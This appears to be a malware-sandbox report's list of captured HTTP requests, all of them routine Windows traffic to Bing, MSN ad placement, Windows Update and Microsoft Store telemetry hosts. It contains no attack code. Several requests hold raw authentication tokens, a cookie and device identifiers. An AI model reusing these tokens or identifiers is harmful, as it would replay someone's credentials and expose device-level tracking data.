Source: global traffic	HTTP traffic detected: GET /client/config?cc=US&setlang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-BM-DTZ: -420X-BM-FirstEnabledTime: 132061387448759736X-DeviceID: 0100748C09001CEAX-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAASm/%2BKkOIy2IDEmL7wJaocVztlvrDLH1R9ezKTpUY8yOzWIRyKxk86OOiGu7K4YsEqi4zJow8lBJEtL9K41AvXlyerrcc1zhXU3oKWomAsxLo1VzI8xXSOPY03dpl5pmWLUeOoWrAgRQbKCkEcXz6tWU9tf416fEFBtingH7GQtooa3tf%2BCP2hiGbG/gG402piZvz/D6iL0a4L6YizKj5y2Lc5fP3hjRW4fGUx4r/YHefwKfl9Kbc3GKvUQDfME10nRuJMuKOMh%2BRhFk8RrZB8ObxJvYIuKt8wFucXjE/7yLn1crpg/NThlysedDBpmHkMRhMM78hFugqmumxJH08bkDZgAACKWv9jZMAFkJqAHq1AOHZK9S/YVvqnKa7OZjFooWPz75dtV%2BEmzNJiz6RaMe67eqcYxCRyV3/znajHtvsp4QPdCjqHF%2B7qmQ5DsUw1L7%2BwJ22/mEWXDsXrEzqQqOkVIuvfwdEuBRm4rliUKoFy3IVPXb3y8KFT9cNk/FBqprBqoQ5iNIbHTuLVkIYYAA3HL2mTJ04tTDM4WG8aymFdIPQQWiGyMHiUjTUSa26p5YRCDpmcyvPRRcP/v1SG6XKUMKk0ZJaY9ot67SkXHBgRSrypdDjSSJo7xbszAjWKnDYNOu8sJ06UaOvOe%2BM2i2ge3LpDksrajL3uODwF9bkG6IIpzcIa6w8p9vhzBcRlW6TQnZJDfrF9HB2fOc82nrmjA/sLPmjtmRcaZ02CBRIgw5TdtOlMahCJ4XKYuxEMhondbubIVh3QcotOlqO%2BlJ71fGMM8gJatt9JHUWjQdCdtwFdhlvQmNf7piLBHi7og55E7DkT2x7jnlqntO87jphaKlUCVBPQkEuk4Di3iZn9k4WO4hyBMmqwkaHsx98tat99r3Fn1LmJUEnTtHqB/KFmNUZNsC1gE%3D%26p%3DX-Agent-DeviceId: 0100748C09001CEAX-BM-CBT: 1658322331User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-Touch: falseX-Device-ClientSession: F74EDC4E6BFE417981B96292DC090A6FX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=54AD14FB4D1E4A6C815A867991009454
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T130617Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=b43571e3a92942cd884523ec5f693cc0&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1610953&metered=false&nettype=ethernet&npid=sc-280815&oemName=nyqfhh%2C%20Inc.&oemid=nyqfhh%2C%20Inc.&ossku=Professional&smBiosDm=nyqfhh7%2C1&tl=2&tsu=1610953&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAZQ6DgZborodlLmr1UoiKN8b9IaJeZ3aYZ6kUZK6Ys/MNma5QvZOCagGTpC7pA59rtsFA19dBwsaQxdKXmsNyUKFtzoAB9clkyuXzCv7WUqHa7ofj5c1BvDJGMyNaX4Rw9O/0L3k+aZz8ChwWc5kByb6aXNPpBFgmviasSMTwFIiESOk+xUEPfH3/gZH4rKDyrs4hpM+olFLuznevXU65cRq9iFPVk+kdpnjxywWjDLS+aQkCTNBpaGvXpXHIFHXa8NQY8KYhRMeg4cNObLP3NqUmxOXXtFbb6WS4+qI2x+3ealgVz9eibIuyFNOI5aABgklAd0WDjguG3Ws2b4C0XUDZgAACANOLBCwiSYCqAFAWRx0X5NlxKhoOpR/YQbpOgVEzZtf7yORExjjr5EqFLcUZeXC89KMEa2gD6rfesN6SqXytjM9xNfwqdfZToKFPEP8jN5eTyDdhp0FZAi5/LHCHGUwuNizBt2MPaNNj5H+W++BNxa613knyUZwZ/IJTY/Vxu1UrdI2II02vun0WRYU2t9Cr4HYFyqr+8RMXx8AMj+cV8C8HoAhROhrvtqiehd4Sm1/yKSC5TAv/Qa9qO7NuZpv4ek+92txoHJIGsQqordLIUAy7S6quct4+jNTfA1BS/bU/Boo1OCAoXrmYFyjYeCf9tKy9DG/XyUeSIjQlBWV6y6Rmhip/c8phnIIWTBE7kW+6cQwGDWMULPCOgoCrjEixRKku7E/l455pQ1lFI79+O1sxRFbzEezKSuuqu+DMa2qVgNnzGU60xkernFIZ4Etd8tJSSTHxaGQRvXrybvCpsNTYdC00U0dN5WL5t49iGr63CdR+NjT4TNfgMivwU5q8rjU0yv4CrnOm8+u2gvQLIbq+SBIjdSrAiuETdjE7K9P4zonQFLzCocRl+khm6+imjwA1gE=&p=Cache-Control: no-cacheMS-CV: OgI8w/ZpqEidRx03.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T130617Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=b8042d3953a34b8f8e3baff0dbbfcf87&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1610953&metered=false&nettype=ethernet&npid=sc-338389&oemName=nyqfhh%2C%20Inc.&oemid=nyqfhh%2C%20Inc.&ossku=Professional&smBiosDm=nyqfhh7%2C1&tl=2&tsu=1610953&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAcXydhHgYTEOMeE3PNOKp+14qeaF75SoMg/sQ0FrmtWQu1mqtKuAS3H4/yQrUnHZFAlVIUnjs5kPeZK/PP74IQ/oZpqROVwZRgpL7XoM8F8Cu2/PyKhuFcjCcn6tYz+2w0eFeFAn25xx0n3mpwKiNOXjz6PuPQJ6CD2Ls8zsDlIqhTeEuE7/uXScBn3iDJ439RIDhjvWCFBMFGD8nq7g7lstRFTLJoUf3J9xMiWy+Ew18Y1fSt1gp+xKcjGuXHZjZ9pDFx+dD6wU7FPiosYKWij5ZJhCf1gQ2MOxouBfule4oshzKtmcGdyWxjgz7CEFEcWOvCJ3C7WTm6Jjg0ooUwEDZgAACNa2lcmUm3NMqAG2GSMCVqoO3Y7ZM4pTjWcQowUPkFZaYVXpQRv2yAfKckwft76MAveWvR1ElOFDLvhSlgRAdyqho9HMh7SKFsggqmfdelxYTOCE+gVIsq2OepY6plcRE6rTglxxxR8ANOv3qe8ttE9ewGiEYiQb4q8PMRWvwtsYP4ygfeXfovkyTxIEt1y50Nb2TbVARfqYMmWNwcm1D7KzdSx5YnNAWqwlaVHZLKQzrxYuNT/MA+LSsbCp160+cHFqS9oIHAO6sYU2Rwo/VbNlqkskRKoCYdGqoZJmrrwhUj37F+PxXAsuE8RdlXOdxnzM6LC2BegOxpEHBlgNDz1lOGLNbOwM71BR+jyOaLqcEQg36KcsD3aapfpJAOvLoTPZCzL3V7Y40aKYR6ALExnOR/Xz0r75O/c8zPpWVBVkTzUX1ipluWt8rciBEYrVN+YweBD3t/KaqyUJXR2/Qitq5lqdmFwaANQgSZVOroAVoVTGh5L0cFyAWlTgtFmvxetGTFAlISd/UBEeqcrY3fNH+a44guraDN6XR7jRTBagSQKXtpDxGsBjRag+wr65FRe41gE=&p=Cache-Control: no-cacheMS-CV: OgI8w/ZpqEidRx03.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T130635Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=99ba276e021e43218b340df12ecc0372&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1610953&metered=false&nettype=ethernet&npid=sc-338388&oemName=nyqfhh%2C%20Inc.&oemid=nyqfhh%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=nyqfhh7%2C1&tl=2&tsu=1610953&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAcLCvn4O5XOTCSLiVv0BWy7BALQmesDqw2ho6oQqSp9VJNMGcjhpUTbdVsGqa6PZbbENvPa5zZsjPnwuHzbfB9EWaAoflW3ein3dxUqkN8wXAAzMCAbfd5PGzWFqXR5/iQLNdJzPVAkawJWXew9Wr+OF06JaI8PDhWNYFgYCCZ2TMBfKlvNnN3X9Wpj4+qWs2RJ7/1CFYdhORSo1hFFSPnMvDa3x3LQG6B36d512kya/qjyv/nmNQcdlMv/THvZQfI/hZ7XMDrp/P+EOqaEj15TU5q6Ph3KWHSUq2r/PgA8662iOLriEpQwtNbfdLeX9nuWP3hEx+q6UoVhUIcckFqIDZgAACONaSsRGi98iqAFewyMk6fO+kXvZWSZPzVC734i0urELGgeJzoE4kslXhL9MQfckSCJxV74odaybYVbGfzReLGT5+VWbJKeHM5TYj2vnJ91xTcXQ/W8pJcjzb/UArCQs6IMtEXoE+QKgBorTMT7mCOWns4A9bFpjzidU6E4GSyLnpM4m3hAe0Bz/pGo8EPe1fgECEN3jDDkHS+9o7Vt6WD0NiOmc18/tUxSAp6DTElrDcwailafc/SxsqfP8JYG96fJPw4VleiQUuWF7iSZ/XJWp7DmGMLbZJdaaoqWhi2nXk1CkHZqc7vYjtL2STklcts2hlnuBEA4iS5HzUnBMLnab2mlALVPCvt9oh4dOLm756ShbXi0x97F1qGesr/EI0M7Drt7pMGYundoMU0koSqJp2ChDlDSVJ5xBhccgXTuYDoCpHpo4liCcZWj9VQk+MqIi3lenK9w35NPJylLvmN8POJBOaq2MahKuc2YI1unSximGhgi8CtY5iiYFwVJZ307JSCmZxiReHqDrAJI2eeRGloQ1dM1uSahFXEWQT5J/NkYmwT+IO8NSHTO99S5OttaO1gE=&p=Cache-Control: no-cacheMS-CV: 7FzMKOXr2kSjtDAf.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T130635Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=423e9c6995f543cfa048c202fb04665b&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1610953&metered=false&nettype=ethernet&npid=sc-338387&oemName=nyqfhh%2C%20Inc.&oemid=nyqfhh%2C%20Inc.&ossku=Professional&rver=2&sc-mode=0&smBiosDm=nyqfhh7%2C1&tl=2&tsu=1610953&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAcLCvn4O5XOTCSLiVv0BWy7BALQmesDqw2ho6oQqSp9VJNMGcjhpUTbdVsGqa6PZbbENvPa5zZsjPnwuHzbfB9EWaAoflW3ein3dxUqkN8wXAAzMCAbfd5PGzWFqXR5/iQLNdJzPVAkawJWXew9Wr+OF06JaI8PDhWNYFgYCCZ2TMBfKlvNnN3X9Wpj4+qWs2RJ7/1CFYdhORSo1hFFSPnMvDa3x3LQG6B36d512kya/qjyv/nmNQcdlMv/THvZQfI/hZ7XMDrp/P+EOqaEj15TU5q6Ph3KWHSUq2r/PgA8662iOLriEpQwtNbfdLeX9nuWP3hEx+q6UoVhUIcckFqIDZgAACONaSsRGi98iqAFewyMk6fO+kXvZWSZPzVC734i0urELGgeJzoE4kslXhL9MQfckSCJxV74odaybYVbGfzReLGT5+VWbJKeHM5TYj2vnJ91xTcXQ/W8pJcjzb/UArCQs6IMtEXoE+QKgBorTMT7mCOWns4A9bFpjzidU6E4GSyLnpM4m3hAe0Bz/pGo8EPe1fgECEN3jDDkHS+9o7Vt6WD0NiOmc18/tUxSAp6DTElrDcwailafc/SxsqfP8JYG96fJPw4VleiQUuWF7iSZ/XJWp7DmGMLbZJdaaoqWhi2nXk1CkHZqc7vYjtL2STklcts2hlnuBEA4iS5HzUnBMLnab2mlALVPCvt9oh4dOLm756ShbXi0x97F1qGesr/EI0M7Drt7pMGYundoMU0koSqJp2ChDlDSVJ5xBhccgXTuYDoCpHpo4liCcZWj9VQk+MqIi3lenK9w35NPJylLvmN8POJBOaq2MahKuc2YI1unSximGhgi8CtY5iiYFwVJZ307JSCmZxiReHqDrAJI2eeRGloQ1dM1uSahFXEWQT5J/NkYmwT+IO8NSHTO99S5OttaO1gE=&p=Cache-Control: no-cacheMS-CV: 7FzMKOXr2kSjtDAf.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4PtWe?ver=aadd HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4Pjc1?ver=a739 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4Fdp9?ver=a4af HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4Fw5p?ver=52cf HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RWEJpi?ver=1a69 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RWEqP7?ver=b660 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T130713Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=8e5527607d9241f2a1a8fc9227567df4&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1610953&metered=false&nettype=ethernet&npid=sc-310091&oemName=nyqfhh%2C%20Inc.&oemid=nyqfhh%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=nyqfhh7%2C1&tl=2&tsu=1610953&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAcLCvn4O5XOTCSLiVv0BWy7BALQmesDqw2ho6oQqSp9VJNMGcjhpUTbdVsGqa6PZbbENvPa5zZsjPnwuHzbfB9EWaAoflW3ein3dxUqkN8wXAAzMCAbfd5PGzWFqXR5/iQLNdJzPVAkawJWXew9Wr+OF06JaI8PDhWNYFgYCCZ2TMBfKlvNnN3X9Wpj4+qWs2RJ7/1CFYdhORSo1hFFSPnMvDa3x3LQG6B36d512kya/qjyv/nmNQcdlMv/THvZQfI/hZ7XMDrp/P+EOqaEj15TU5q6Ph3KWHSUq2r/PgA8662iOLriEpQwtNbfdLeX9nuWP3hEx+q6UoVhUIcckFqIDZgAACONaSsRGi98iqAFewyMk6fO+kXvZWSZPzVC734i0urELGgeJzoE4kslXhL9MQfckSCJxV74odaybYVbGfzReLGT5+VWbJKeHM5TYj2vnJ91xTcXQ/W8pJcjzb/UArCQs6IMtEXoE+QKgBorTMT7mCOWns4A9bFpjzidU6E4GSyLnpM4m3hAe0Bz/pGo8EPe1fgECEN3jDDkHS+9o7Vt6WD0NiOmc18/tUxSAp6DTElrDcwailafc/SxsqfP8JYG96fJPw4VleiQUuWF7iSZ/XJWp7DmGMLbZJdaaoqWhi2nXk1CkHZqc7vYjtL2STklcts2hlnuBEA4iS5HzUnBMLnab2mlALVPCvt9oh4dOLm756ShbXi0x97F1qGesr/EI0M7Drt7pMGYundoMU0koSqJp2ChDlDSVJ5xBhccgXTuYDoCpHpo4liCcZWj9VQk+MqIi3lenK9w35NPJylLvmN8POJBOaq2MahKuc2YI1unSximGhgi8CtY5iiYFwVJZ307JSCmZxiReHqDrAJI2eeRGloQ1dM1uSahFXEWQT5J/NkYmwT+IO8NSHTO99S5OttaO1gE=&p=Cache-Control: no-cacheMS-CV: dlh0AuNS1kGDG0q6.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130638Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130639Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130645Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130647Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH6J6VK&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130648Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
